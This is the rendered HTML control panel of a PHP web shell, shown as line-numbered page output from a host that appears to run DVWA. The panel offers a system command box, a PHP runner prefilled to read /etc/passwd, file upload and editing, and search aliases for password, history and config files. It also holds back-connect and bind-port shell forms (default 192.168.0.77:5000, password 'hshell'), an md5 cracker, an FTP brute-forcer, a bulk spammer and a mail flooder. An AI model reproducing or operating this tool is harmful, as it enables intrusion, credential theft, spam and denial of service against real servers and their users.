1442 | <center>
1443 | 
1444 | <input type=submit style="border:1px solid #00c12d;background: green;font-weight:bold;" value='   Kill Shell   ' onclick='kill()'>
1445 | 
1446 | </center>
1447 | </td></tr></table>
1448 | 
1449 | </td>
1450 | <td class='ram' width=45% valign=center align=center>
1451 | <table  cellpadding=0 cellspacing=0>
1452 | <tr><td>
1453 | <table valign=top cellpadding=0 cellspacing=0>
1454 | <tr><td align=right>
1455 | <font size=2 color='#888888'>PHP-version:</font>
1456 | </td></tr>
1457 | <tr><td align=right>
1458 | <font size=2 color='#888888'>MySQL:</font>
1459 | </td></tr>
1460 | <tr><td align=right>
1461 | <font size=2 color='#888888'>MSSQL:</font>
1462 | </td></tr>
1463 | <tr><td align=right>
1464 | <font size=2 color='#888888'>PostgreSQL:</font>
1465 | </td></tr>
1466 | <tr><td align=right>
1467 | <font size=2 color='#888888'>Oracle:</font>
1468 | </td></tr>
1469 | </table>
1470 | </td><td>
1471 | <table valign=top  cellpadding=0 cellspacing=0>
1472 | <tr><td>
1473 | <b><font size=2 color=green>7.2.4-1</font></b>
1474 | </td></tr>
1475 | <tr><td>
1476 | <b><font size=2 color=green>OFF</font></b>
1477 | </td></tr>
1478 | <tr><td>
1479 | <b><font size=2 color=green>OFF</font></b>
1480 | </td></tr>
1481 | <tr><td>
1482 | <b><font size=2 color=green>OFF</font></b>
1483 | </td></tr>
1484 | <tr><td>
1485 | <b><font size=2 color=green>OFF</font></b>
1486 | </td></tr>
1487 | </table>
1488 | </td><td width=4%></td>
1489 | <td valign=top><table cellpadding=0 cellspacing=0 valign=top>
1490 | <tr><td valign=top align=right>
1491 | <font color=#888888 size=2>Safe_mode:</font>
1492 | </td></tr>
1493 | <tr><td valign=top align=right>
1494 | <font color=#888888 size=2>cURL:</font>
1495 | </td></tr>
1496 | <tr><td valign=top align=right>
1497 | <font color=#888888 size=2>wget:</font>
1498 | </td></tr>
1499 | <tr><td valign=top align=right>
1500 | <font color=#888888 size=2>fetch:</font>
1501 | </td></tr>
1502 | <tr><td valign=top align=right>
1503 | <font color=#888888 size=2>lynx:</font>
1504 | </td></tr>
1505 | </table></td>
1506 | <td valign=top><table cellpadding=0 cellspacing=0 valign=top>
1507 | <tr><td valign=top>
1508 | <b><font size=2 color=red>OFF</font></b>
1509 | </td></tr>
1510 | <tr><td valign=top>
1511 | <b><font size=2 color=green>OFF</font></b>
1512 | </td></tr>
1513 | <tr><td valign=top>
1514 | <b><font size=2 color=red>ON</font></b>
1515 | </td></tr>
1516 | <tr><td valign=top>
1517 | <b><font size=2 color=green>OFF</font></b>
1518 | </td></tr>
1519 | <tr><td valign=top>
1520 | <b><font size=2 color=green>OFF</font></b>
1521 | </td></tr>
1522 | </table></td>
1523 | <td width=4%></td>
1524 | <td valign=top><table cellpadding=0 cellspacing=0 valign=top>
1525 | <tr><td valign=top align=right>
1526 | <font color=#888888 size=2>Perl:</font>
1527 | </td></tr>
1528 | <tr><td valign=top align=right>
1529 | <font color=#888888 size=2>Server time:</font>
1530 | </td></tr>
1531 | <tr><td valign=top align=right>
1532 | <font color=#888888 size=2>Server date:</font>
1533 | </td></tr>
1534 | <tr><td valign=top align=right>
1535 | <font color=#888888 size=2>Total space:</font>
1536 | </td></tr>
1537 | <tr><td valign=top align=right>
1538 | <font color=#888888 size=2>Free space:</font>
1539 | </td></tr>
1540 | </table></td>
1541 | <td valign=top><table cellpadding=0 cellspacing=0 valign=top>
1542 | <tr><td valign=top>
1543 | <b><font size=2 color=green><font size=2 color=red>ON</font></font></b>
1544 | </td></tr>
1545 | <tr><td valign=top>
1546 | <b><font size=2 color=#999999>02:09</font></b>
1547 | </td></tr>
1548 | <tr><td valign=top>
1549 | <b><font size=2 color=#999999>20-05-2018</font></b>
1550 | </td></tr>
1551 | <tr><td valign=top>
1552 | <b><font size=2 color=#999999>28.27 GB</font></b>
1553 | </td></tr>
1554 | <tr><td valign=top>
1555 | <b><font size=2 color=#999999>10.51 GB</font></b>
1556 | </td></tr>
1557 | </table></td></tr>
1558 | </table>
1559 | </td></tr>
1560 | </table>
1561 | </td></tr>
1562 | <tr><td width=100% height=100% bgcolor='#636363' valign=top>
1563 | <table width=100%>
1564 | <tr><td valign=top align=center>
1565 | <table width=100% height=200 class='td1'>
1566 | <tr><td valign=top align=left width=50%>
1567 | <form action method=POST>
1568 | <input type=hidden name="type" value=5>
1569 | <textarea cols=80 rows=13 name="value" class='ta'>
1570 | total 608
1571 | drwxr-xr-x 3 root     root       4096 May 20 02:07 .
1572 | drwxr-xr-x 4 root     root       4096 Dec  8 19:23 ..
1573 | drwxr-xr-x 8 root     root       4096 Feb 13 00:25 DVWA
1574 | -rw-r--r-- 1 root     root      43771 May 20 02:06 bheh_shell.php
1575 | -rw-r--r-- 1 www-data www-data   1312 Dec  9 23:36 harvester_2017-12-08 19:06:19.297473.txt
1576 | -rw-r--r-- 1 www-data www-data   6775 Dec 18 15:51 harvester_2017-12-09 22:44:56.564493.txt
1577 | -rw-r--r-- 1 www-data www-data    660 Mar 21 19:00 harvester_2018-03-21 18:58:08.020023.txt
1578 | -rw-r--r-- 1 root     root     424947 Mar 21 18:58 index.html
1579 | -rw-r--r-- 1 root     root        612 Dec  8 19:23 index.nginx-debian.html
1580 | -rw-r--r-- 1 root     root        318 Mar 21 18:58 post.php
1581 | -rw-r--r-- 1 root     root      37723 May 20 01:30 safe.php
1582 | -rw-r--r-- 1 root     root      40575 May 20 01:29 stres.php
1583 | -rwxr-xr-x 1 root     root         99 Apr 30 20:44 updatemylinux.sh
1584 | -rw-r--r-- 1 root     root      26361 May 20 01:22 webshell.php</textarea></form>
1585 | </td>
1586 | 
1587 | 
1588 | 
1589 | <td valign=top align=left width=10%>
1590 | <table width=100% height=100% class='td2'>
1591 | <form action method=POST><tr><td valign=top align=left height=40% style="border-bottom: 1px solid #00c12d;">
1592 | <b>.::System shell::.</b><br>
1593 | <input type=hidden name="type" value=2>
1594 | <center><input type=text name="value" size=35 class='ta'></center>
1595 | </ br><center><input type=submit value="Enter" style="border-top: 1px solid #636363;border-bottom: 1px solid #00c12d;border-right: 1px solid #00c12d;border-left: 1px solid #00c12d;background: #636363;font-weight:bold;"></center>
1596 | </td></tr></form>
1597 | <tr><td valign=top align=left>
1598 | <form action method=POST>
1599 | <table>
1600 | <tr><td>
1601 | <b>.::PHP-code::.</b>
1602 | </td><td align=right>
1603 | <input type=submit value="Run code" class='bt'>
1604 | <input type=hidden name="type" value=1>
1605 | </td></tr>
1606 | <tr><td colspan=2>
1607 | <textarea rows=5 cols=26 name="value" class='ta'>readfile('/etc/passwd');</textarea>
1608 | </td></tr>
1609 | </table></form>
1610 | </td></tr>
1611 | </table>
1612 | </td></tr>
1613 | </table>
1614 | <table>
1615 | <tr><td height=0></td></tr>
1616 | </table>
1617 | <table width=100% height=80 class='td1' valign=top>
1618 | <tr><td valign=top align=left width=50%>
1619 | <form action method=POST>
1620 | <table width=100% height=100% valign=top class='td2'>
1621 | <tr><td>
1622 | <b>.::PWD::.</b>
1623 | </td><td align=right>
1624 | <input type=submit class='bt' value="cd">
1625 | <input type=hidden name="type" value=3>
1626 | </td></tr>
1627 | <tr><td colspan=2>
1628 | <input type=text name="value" class='ta' size=71 value=/var/www/html/>
1629 | </td></tr>
1630 | </table></form></td><td valign=top align=left width=50%>
1631 | <form action method=POST>
1632 | <table width=100% height=100% valign=top class='td2'>
1633 | <tr><td>
1634 | <b>.::File Edit::.</b>
1635 | </td><td align=right>
1636 | <input type=submit class='bt' value="Edit">
1637 | <input type=hidden name="type" value=4>
1638 | </td></tr>
1639 | <tr><td colspan=2>
1640 | <input type=text name="value" class='ta' size=72 value=/var/www/html/>
1641 | </td></tr>
1642 | </table></form>
1643 | </td></tr>
1644 | <tr><td valign=top align=left width=50%>
1645 | <form action method=POST>
1646 | <table width=100% height=100% valign=top class='td2'>
1647 | <tr><td>
1648 | <b>.::Download::.</b>
1649 | </td><td align=right>
1650 | <input type=submit class='bt' value="Download">
1651 | <input type=hidden name="type" value=11>
1652 | </td></tr>
1653 | <tr><td colspan=2>
1654 | <input type=text name="value" class='ta' size=71 value=/var/www/html/>
1655 | </td></tr>
1656 | </table></form></td><td valign=top align=left width=50%>
1657 | <form enctype="multipart/form-data" action method=POST>
1658 | <table width=100% height=100% valign=top class='td2'>
1659 | <tr><td>
1660 | <b>.::Upload::.</b>
1661 | </td><td align=right colspan=3>
1662 | <input type=submit class='bt' value="Upload">
1663 | <input type=hidden name="type" value=6>
1664 | </td></tr>
1665 | <tr><td colspan=2>
1666 | <font size=2 color=#888888>New name:</b>
1667 | <input type=text size=15 name="newname" class=ta>
1668 | </td><td width=4></td><td colspan=2>
1669 | <input type=file name="userfile" size=28>
1670 | </td></tr>
1671 | </table></form>
1672 | <tr><td valign=top align=left width=50%>
1673 | <form action method=POST>
1674 | <table width=100% height=100% valign=top class='td2'>
1675 | <tr><td>
1676 | <b>.::Alias::.</b>
1677 | </td><td align=right>
1678 | <input type=submit class='bt' value="RUN">
1679 | <input type=hidden name="type" value=7>
1680 | </td></tr>
1681 | <tr><td colspan=2>
1682 | <select name='value' class='ta' width=200>
1683 | <option>find apahce config file</option>
1684 | <option>find access_log files</option>
1685 | <option>find error_log files</option>
1686 | <option>find suid files</option>
1687 | <option>find suid files in current dir</option>
1688 | <option>find sgid files</option>
1689 | <option>find sgid files in current dir</option>
1690 | <option>find config.inc.php files</option>
1691 | <option>find config.inc.php files in current dir</option>
1692 | <option>find config* files</option>
1693 | <option>find config* files in current dir</option>
1694 | <option>find all writable files</option>
1695 | <option>find all writable files in current dir</option>
1696 | <option>find all writable directories</option>
1697 | <option>find all writable directories in current dir</option>
1698 | <option>find all writable directories and files</option>
1699 | <option>find all writable directories and files in current dir</option>
1700 | <option>find all service.pwd files</option>
1701 | <option>find service.pwd files in current dir</option>
1702 | <option>find all .htpasswd files</option>
1703 | <option>find .htpasswd files in current dir</option>
1704 | <option>find all .bash_history files</option>
1705 | <option>find .bash_history files in current dir</option>
1706 | <option>find all .mysql_history files</option>
1707 | <option>find .mysql_history files in current dir</option>
1708 | <option>find all .fetchmailrc files</option>
1709 | <option>find .fetchmailrc files in current dir</option>
1710 | <option>list file attributes on a Linux second extended file system</option>
1711 | <option>show opened ports</option>
1712 | <option>---------------------------------------------------------------------------------------------------------</option>
1713 | </select>
1714 | </td></tr>
1715 | </table></form></td>
1716 | <script>
1717 | function base64Encode(str)
1718 | {
1719 | 	var charBase64 = new Array(
1720 | 		'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
1721 | 		'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
1722 | 		'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
1723 | 		'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'
1724 | 	);
1725 | 
1726 | 	var out = "";
1727 | 	var chr1, chr2, chr3;
1728 | 	var enc1, enc2, enc3, enc4;
1729 | 	var i = 0;
1730 | 
1731 | 	var len = str.length;
1732 | 
1733 | 	do
1734 | 	{
1735 | 		chr1 = str.charCodeAt(i++);
1736 | 		chr2 = str.charCodeAt(i++);
1737 | 		chr3 = str.charCodeAt(i++);
1738 | 
1739 | 
1740 | 		enc1 = chr1 >> 2;
1741 | 		enc2 = ((chr1 & 0x03) << 4) | (chr2 >> 4);
1742 | 		enc3 = ((chr2 & 0x0F) << 2) | (chr3 >> 6);
1743 | 		enc4 = chr3 & 0x3F;
1744 | 
1745 | 		out += charBase64[enc1] + charBase64[enc2];
1746 | 
1747 | 		if (isNaN(chr2))
1748 |   		{
1749 | 			out += '==';
1750 | 		}
1751 |   		else if (isNaN(chr3))
1752 |   		{
1753 | 			out += charBase64[enc3] + '=';
1754 | 		}
1755 | 		else
1756 | 		{
1757 | 			out += charBase64[enc3] + charBase64[enc4];
1758 | 		}
1759 | 	}
1760 | 	while (i < len);
1761 | 
1762 | 	return out;
1763 | }
1764 | 
1765 | 
1766 | function base64Decode(str)
1767 | {
1768 | 	var indexBase64 = new Array(
1769 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1770 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1771 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63,
1772 | 		52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1,-1,-1,-1,
1773 | 		-1, 0, 1, 2,  3, 4, 5, 6,  7, 8, 9,10, 11,12,13,14,
1774 | 		15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1,
1775 | 		-1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40,
1776 | 		41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1,
1777 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1778 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1779 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1780 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1781 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1782 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1783 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1784 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1
1785 | 	);
1786 | 
1787 | 	var out = "";
1788 | 	var chr1, chr2, chr3;
1789 | 	var enc1, enc2, enc3, enc4;
1790 | 	var i = 0;
1791 | 
1792 | 
1793 | 	str = str.replace(/^[^a-zA-Z0-9\+\/\=]+|[^a-zA-Z0-9\+\/\=]+$/g,"")
1794 | 
1795 | 	var len = str.length;
1796 | 
1797 | 	do
1798 | 	{
1799 | 		enc1 = indexBase64[str.charCodeAt(i++)];
1800 | 		enc2 = indexBase64[str.charCodeAt(i++)];
1801 | 		enc3 = indexBase64[str.charCodeAt(i++)];
1802 | 		enc4 = indexBase64[str.charCodeAt(i++)];
1803 | 
1804 | 		chr1 = (enc1 << 2) | (enc2 >> 4);
1805 | 		chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
1806 | 		chr3 = ((enc3 & 3) << 6) | enc4;
1807 | 
1808 | 		out += String.fromCharCode(chr1);
1809 | 
1810 | 		if (enc3 != -1)
1811 | 		{
1812 | 			out += String.fromCharCode(chr2);
1813 | 		}
1814 | 		if (enc4 != -1)
1815 | 		{
1816 | 			out += String.fromCharCode(chr3);
1817 | 		}
1818 | 	}
1819 | 	while (i < len);
1820 | 
1821 | 	if (i != len)
1822 | 	{
1823 | 		new Error(BASE64_BROKEN);
1824 | 		return "";
1825 | 	}
1826 | 
1827 | 	return out;
1828 | }
1829 | 
1830 | </script>
1831 | <td valign=top align=left width=50%>
1832 | <form action method=POST>
1833 | <table width=100% height=100% valign=top class='td2'>
1834 | <tr><td width=1%>
1835 | <b>.::Base64_encode::.</b>
1836 | </td><td align=right width=6%>
1837 | <input type=button value="encode" class='bt' onclick='t.value=base64Encode(t.value)'>	
1838 | </td>
1839 | <form action method=POST><td width=1%>
1840 | <b>.::Base64_decode::.</b>
1841 | </td><td align=right width=6%>
1842 | <input type=button value="decode" class='bt' onclick='n.value=base64Decode(n.value)'>	
1843 | </td></tr>
1844 | <tr><td colspan=2>
1845 | <input type=text name='t' class='ta' size=34>
1846 | </td><td colspan=2>
1847 | <input type=text name='n' class='ta' size=34>
1848 | </td></tr>
1849 | </table></form>
1850 | </td></tr>
1851 | </td></tr>
1852 | </table>
1853 | </td></tr><tr></tr><tr><td>
1854 | <table cellpadding=0 cellspacing=0><tr><td>
1855 | <table class='td1' width=226>
1856 | <tr><td width=100% class='td2'>
1857 | <form action method=POST>
1858 | <table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
1859 | <b>.::Back Connect::.</b></td></tr>
1860 | <tr><td width=100% height=10 colspan=3></td></tr>
1861 | <tr><td width=25% align=right><font color=#888888 size=2><b>IP:</b></font></td>
1862 | <td width=5%></td>
1863 | <td width=100% align=right>
1864 | <input type=text class='ta' name='ip' size=15 value=192.168.0.77></td></tr>
1865 | <tr><td width=100% height=5 colspan=3></td></tr>
1866 | <tr><td width=25% align=right><font color=#888888 size=2>port:</font></td>
1867 | <td width=5%></td>
1868 | <td width=100% align=right>
1869 | <input type=text class='ta' name='port' size=10 value='5000'></td></tr>
1870 | <tr><td width=100% height=5 colspan=3></td></tr>
1871 | <tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
1872 | <td width=5%></td>
1873 | <td width=100% align=right>
1874 | <select class='ta' name='method'>
1875 | <option>Perl</option>
1876 | <option>C#</option>
1877 | <option>---------------------</option>
1878 | </select></td></tr>
1879 | <tr><td width=100% height=5 colspan=3></td></tr>
1880 | <tr><td width=100% align=right colspan=3>
1881 | <input type=hidden name='type' value='12'>
1882 | <input type=submit value='Connect' class='bt'></form>
1883 | <tr><td width=100% height=5 colspan=3></td></tr>
1884 | </table>
1885 | </td></tr>
1886 | </table>
1887 | </td><td width=5></td><td>
1888 | <table class='td1' width=226>
1889 | <tr><td width=100% class='td2'>
1890 | <form action method=POST>
1891 | <table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
1892 | <b>.::Bind port::.</b></td></tr>
1893 | <tr><td width=100% height=10 colspan=3></td></tr>
1894 | <tr><td width=25% align=right><font color=#888888 size=2><b>Port:</b></font></td>
1895 | <td width=5%></td>
1896 | <td width=100% align=right>
1897 | <input type=text class='ta' name='port' size=15 value='6000'></td></tr>
1898 | <tr><td width=100% height=5 colspan=3></td></tr>
1899 | <tr><td width=25% align=right><font color=#888888 size=2>pass:</font></td>
1900 | <td width=5%></td>
1901 | <td width=100% align=right>
1902 | <input type=text class='ta' name='pass' size=10 value='hshell'></td></tr>
1903 | <tr><td width=100% height=5 colspan=3></td></tr>
1904 | <tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
1905 | <td width=5%></td>
1906 | <td width=100% align=right>
1907 | <select class='ta' name='method'>
1908 | <option>Perl</option>
1909 | <option>C#</option>
1910 | <option>---------------------</option>
1911 | </select></td></tr>
1912 | <tr><td width=100% height=5 colspan=3></td></tr>
1913 | <tr><td width=100% align=right colspan=3>
1914 | <input type=hidden name='type' value='12'>
1915 | <input type=submit value='Bind' class='bt'></form>
1916 | <tr><td width=100% height=5 colspan=3></td></tr>
1917 | </table>
1918 | </td></tr>
1919 | </table>
1920 | </td><td width=5></td><td width=50% height=141>
1921 | <table class='td1' width=100% height=100% valign=top><tr><td width=100% height=100% class='td2' valign=top>
1922 | <table cellpadding=0 cellspacing=0 width=95%><tr><td colspan=4>
1923 | <b>.::md5 bruter::.</b>
1924 | </td></tr><tr><td height=10></td></tr>
1925 | <tr><td width=20></td><td>
1926 | <font size=2 color="#888888" align=right><b>hash:</b></font></td><td width=5></td><td align=right>
1927 | <input type=text name='hash' class='ta' size=50>
1928 | </td></tr>
1929 | <tr><td height=5></td>
1930 | <tr><td width=20></td><td>
1931 | <font size=2 color="#888888" align=right>log_file:</font></td><td width=5></td><td align=right>
1932 | <input type=text name='log' class='ta' size=30 value='md5_log.txt'>
1933 | </td></tr>
1934 | <tr><td height=5></td>
1935 | <tr><td width=20></td><td>
1936 | <font size=2 color="#888888" align=right>dictionary_file:</font></td><td width=5></td><td align=right>
1937 | <input type=text name='dict' class='ta' size=30 value='md5_dict.txt'>
1938 | </td></tr>
1939 | <tr><td height=5></td>
1940 | <tr><td width=20></td><td>
1941 | </td><td width=5></td><td align=right>
1942 | <input type=submit class='bt' value='Start Brute'>
1943 | </td></tr>
1944 | </table>
1945 | </td></tr></table>
1946 | </td></tr></table>
1947 | <tr></tr><tr><td>
1948 | <table class='td1' width=100% height=310 valign=top align=left>
1949 | <form action method=POST>
1950 | <td valign=top align=left class='td2' width=33%>
1951 | <table cellpadding=0 cellspacing=0 width=100%>
1952 | <tr><td valign=top colspan=3 height=30>
1953 | <b>.::Spammer::.</b>
1954 | <tr><td width=25% align=right>
1955 | <font color=#888888 size=2><b>emails_file:</b></font>
1956 | </td><td width=65% align=right>
1957 | <input type=text name='elist' class='ta' size=17 value="emails.txt">
1958 | </td></tr><tr><td height=5></td></tr>
1959 | <tr><td width=25% align=right>
1960 | <font color=#888888 size=2><b>log_file:</b></font>
1961 | </td><td width=65% align=right>
1962 | <input type=text name='log' class='ta' size=17 value="mail_log.txt">
1963 | </td></tr>
1964 | <td height=5><td></tr>
1965 | <tr><td width=25% align=right>
1966 | <font color=#888888 size=2>From:</font>
1967 | </td><td width=65% align=right>
1968 | <input type=text name='from' class='ta' size=27>
1969 | </td></tr>
1970 | <td height=5><td></tr>
1971 | <tr><td width=25% align=right>
1972 | <font color=#888888 size=2>Subject:</font>
1973 | </td><td width=65% align=right>
1974 | <input type=text name='subject' class='ta' size=27>
1975 | </td></tr>
1976 | <td height=5><td></tr>
1977 | <tr><td width=25% align=right>
1978 | <font color=#888888 size=2>Message:</font>
1979 | </td><td width=65% align=right>
1980 | <textarea name='msg' class='ta' cols=20 rows=4></textarea>
1981 | </td></tr>
1982 | <td height=5><td></tr>
1983 | <tr><td width=25% align=right>
1984 | <font color=#888888 size=2>Check<sup>*</sup>:</font>
1985 | </td><td width=65% align=right>
1986 | <input type=text name='check' class='ta' size=27>
1987 | </td></tr>
1988 | <td height=5><td></tr>
1989 | <tr><td width=25% align=right>
1990 | </td><td width=65% align=right>
1991 | <input type=submit class='bt' value="Start">
1992 | <input type=hidden name='type' value=10>
1993 | </td></tr>
1994 | </table></form>
1995 | <form action method=POST>
1996 | <td valign=top align=left class='td2' width=33%>
1997 | <table cellpadding=0 cellspacing=0 width=100%>
1998 | <tr><td colspan=3 height=30 valign=top><b>.::FTP-Brute::.</b></td></tr>
1999 | <tr><td width=31% align=right>
2000 | <font color=#888888 size=2><b>Host:</b></font>
2001 | </td><td align=right>
2002 | <input type=text name='host' class='ta' size=28>
2003 | </td><td width=5%></td></tr><tr><td height=35 width=100% colspan=2></td></tr>
2004 | <tr><td align=right>
2005 | <font color=#888888 size=2>ftp_users file:</font>
2006 | </td><td align=right>
2007 | <input type=text name='users' class='ta' size=17 value="ftp_users.txt">
2008 | </td><td></td></tr>
2009 | <tr><td height=5 width=100% colspan=2></td></tr>
2010 | <tr><td align=right>
2011 | <font color=#888888 size=2>ftp_passwd file:</font>
2012 | </td><td align=right>
2013 | <input type=text name='passwd' class='ta' size=17 value="ftp_passwds.txt">
2014 | </td><td></td></tr>
2015 | <tr><td height=5 width=100% colspan=2></td></tr>
2016 | <tr><td align=right>
2017 | <font color=#888888 size=2>ftp_log file:</font>
2018 | </td><td align=right>
2019 | <input type=text name='log' class='ta' size=17 value="ftp_log.txt">
2020 | </td><td></td></tr>
2021 | <tr><td colspan=2 height=20></td></tr>
2022 | <tr><td colspan=2 align=right>
2023 | <input type=submit class='bt' value="Start Brute">
2024 | <input type=hidden name="type" value=9>
2025 | </td></tr>
2026 | </td></table></form>
2027 | <form action method=POST>
2028 | <td valign=top align=left class='td2' width=33%>
2029 | <table cellpadding=0 cellspacing=0 width=100%>
2030 | <tr><td valign=top colspan=3 height=30>
2031 | <b>.::Flooder::.</b>
2032 | <tr><td width=25% align=right>
2033 | <font color=#888888 size=2><b>log_file:</b></font>
2034 | </td><td width=65% align=right>
2035 | <input type=text name='log' class='ta' size=17 value="mflood_log.txt">
2036 | </td></tr>
2037 | <td height=5><td></tr>
2038 | <tr><td width=25% align=right>
2039 | <font color=#888888 size=2>Send to:</font>
2040 | </td><td width=65% align=right>
2041 | <input type=text name='to' class='ta' size=27>
2042 | </td></tr><tr>
2043 | <td height=5><td></tr>
2044 | <tr><td width=25% align=right>
2045 | <font color=#888888 size=2>From:</font>
2046 | </td><td width=65% align=right>
2047 | <input type=text name='from' class='ta' size=27>
2048 | </td></tr>
2049 | <td height=5><td></tr>
2050 | <tr><td width=25% align=right>
2051 | <font color=#888888 size=2>Subject:</font>
2052 | </td><td width=65% align=right>
2053 | <input type=text name='subject' class='ta' size=27>
2054 | </td></tr>
2055 | <td height=5><td></tr>
2056 | <tr><td width=25% align=right>
2057 | <font color=#888888 size=2>Message:</font>
2058 | </td><td width=65% align=right>
2059 | <textarea name='msg' class='ta' cols=20 rows=4></textarea>
2060 | </td></tr>
2061 | <td height=25><td></tr>
2062 | <tr><td width=25% align=right>
2063 | <font color=#888888 size=2>Amount:</font>
2064 | </td><td width=65% align=right>
2065 | <input type=text name='amount' class='ta' size=17>
2066 | </td></tr>
2067 | <td height=5><td></tr>
2068 | <tr><td width=25% align=right>
2069 | <font color=#888888 size=2>Check<sup>*</sup>:</font>
2070 | </td><td width=65% align=right>
2071 | <input type=text name='check' class='ta' size=27>
2072 | </td></tr>
2073 | <td height=5><td></tr>
2074 | <tr><td width=25% align=right>
2075 | </td><td width=65% align=right>
2076 | <input type=submit class='bt' value="Flood">
2077 | <input type=hidden name='type' value=10>
2078 | </td></tr>
2079 | </table></form>
2080 | </td></tr>
2081 | </table>
2082 | </td></tr>
2083 | </table>
2084 | </td></tr>
2085 | </table></center>
2086 | <center><font size=1 color=#444444>.:[Public v1.0]:.</font></center>
2087 | </body>
2088 | </html>
2089 | 


--------------------------------------------------------------------------------